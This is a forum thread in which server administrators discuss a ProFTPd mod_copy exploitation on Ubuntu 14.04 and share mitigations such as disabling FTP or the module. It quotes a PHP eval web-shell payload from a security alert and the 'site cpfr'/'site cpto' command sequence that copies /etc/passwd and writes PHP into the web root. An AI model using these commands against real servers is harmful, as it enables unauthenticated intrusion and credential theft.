Upon a routine look over my virtualmin box I noticed something very unnerving. Within /tmp sat a file called passwd.copy. Looking into this file I could see it was a copy of mu /etc/passwd file.
The file was owned by proftpd and created earlier today:
I am running the most recent version of ProFTPd for my Ubuntu install. Which seems to be pretty dated considering.
I will admit I didn’t spend too much time on it, I noticed this issue while getting ready to pack up and leave work for the day. So I simply found the cause of the issue, checked over the system as a whole and didn’t find any further issues before disabling ProFTPd and ensured it wouldn’t auto start.
My “weekend” is spent with the Wife and kids so I haven’t touched on this any further as of yet.
I just wanted to get this put out there for anyone else using virtualmin and Ubuntu.
My CSF send me a message that there was a suspicious file in the /tmp directory.
The owner was proftpd.
So I did some research and it seems that proftpd is vulnerable. Users could copy files through the system without logging in…
I disabled proftpd and closed the ftp ports.
I am shocked. I am running Ubuntu 14.04, with automatic security upgrades.
Also I ran updates and upgrades almost weekly, so the system should be update. But the most update proftpd package in Ubuntu 14.04 is the insucure dangerous version!!
I thought my system would be safe on an up to date Ubuntu 14.04 LTS. Well, I was wrong.
This is the alert I received:
Time: Fri Dec 4 10:05:39 2015 +0100
File: /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>
Reason: Suspicious file name
Owner: proftpd:nogroup (112:65534)
Action: No action taken
I could not find the file, or find other traces. I am not sure if this was logged test, without creating files or damage, or that it is really exploited.
I hope someone can give more information.
“This is the alert I received: Time: Fri Dec 4 10:05:39 2015 +0100 File: /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?> Reason: Suspicious file name Owner: proftpd:nogroup (112:65534) Action: No action taken”
I would look at doing a search on your system for .php files and check them for the content " echo GOOD".
"------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php contains contain correct php script “<?php phpinfo(); ?>” which
can be run by the php interpreter"
The exploit provided within my opening post would suggest that was part of the process they go through when creating a new .php file is created.
“I am shocked. I am running Ubuntu 14.04, with automatic security upgrades. Also I ran updates and upgrades almost weekly, so the system should be update. But the most update proftpd package in Ubuntu 14.04 is the insucure dangerous version!! I thought my system would be safe on an up to date Ubuntu 14.04 LTS. Well, I was wrong.”
Its possible you could find a ppa repo with the latest version of proftpd, however, I have just opted to keep my FTP service disabled.
I personally have left my FTP service disabled and closed the port off. I am using SCP to move my files to / from the server. FTP access was only ever used by developers who I didn’t trust with SCP / SSH access.
I have had a quick look around and been unable to find a PPA with the latest version of proFTPD. I haven’t spent that much time on it as I don’t need to worry about it to tell the truth.
You may wish to experiment with compiling the latest version yourself, HOWEVER, if you intend to do that I would create a server backup for disaster recover reasons.
If I get bored and the time I may try this myself before the week is out and compile a .deb file if it goes well. I will then update this post. Please keep in mind I make no promises and if I do get around to it I would always recommend being careful of downloading .deb’s from unknown / untrusted sources.
Disabling ftp is not an option for me as clients need access, what I did was comment out the module in question … mod_copy.c restarted the service. Even rebooted, I do not think I deleted the 2 odd files but they seemed to go away? Sorry not an expert here but this is a worrying exploit indeed, why do they not fix it?
Its possible your system deleted the files within /tmp upon reboot. If you have disabled the module which is the cause of the exploit you should be fine for the moment.
As for why they didn’t fix it, I am sure they did with the latest version. It just seems this versions hasn’t been passed into the repo for Ubuntu 14.04.
Please be aware this is an OS/Ubunut issue, not a virtualmin issue